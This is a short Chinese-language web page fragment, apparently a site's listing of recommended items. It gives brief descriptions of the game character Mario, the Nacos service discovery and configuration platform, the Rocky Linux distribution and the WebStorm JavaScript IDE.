马里奥是站在游戏界顶峰的超人气多面角色。马里奥靠吃蘑菇成长,特征是大鼻子、头戴帽子、身穿背带裤,还留着胡子。与他的双胞胎兄弟路易基一起,长年担任任天堂的招牌角色。

Nacos

Nacos

Nacos /nɑ:kəʊs/ 是 Dynamic Naming and Configuration Service 的首字母简称,一个易于构建 AI Agent 应用的动态服务发现、配置管理和AI智能体管理平台。Nacos 致力于帮助您发现、配置和管理微服务及AI智能体应用。Nacos 提供了一组简单易用的特性集,帮助您快速实现动态服务发现、服务配置、服务元数据、流量管理。Nacos 帮助您更敏捷和容易地构建、交付和管理微服务平台。

Rocky Linux

Rocky Linux

Rocky Linux(中文名:洛基)是由Gregory Kurtzer于2020年12月发起的企业级Linux发行版,作为CentOS稳定版停止维护后与RHEL(Red Hat Enterprise Linux)完全兼容的开源替代方案,由社区拥有并管理,支持x86_64、aarch64等架构。其通过重新编译RHEL源代码提供长期稳定性,采用模块化包装和SELinux安全架构,默认包含GNOME桌面环境及XFS文件系统,支持十年生命周期更新。

WebStorm

WebStorm

WebStorm 是jetbrains公司旗下一款JavaScript 开发工具。目前已经被广大中国JS开发者誉为“Web前端开发神器”、“最强大的HTML5编辑器”、“最智能的JavaScript IDE”等。与IntelliJ IDEA同源,继承了IntelliJ IDEA强大的JS部分的功能。

用户登录
用户注册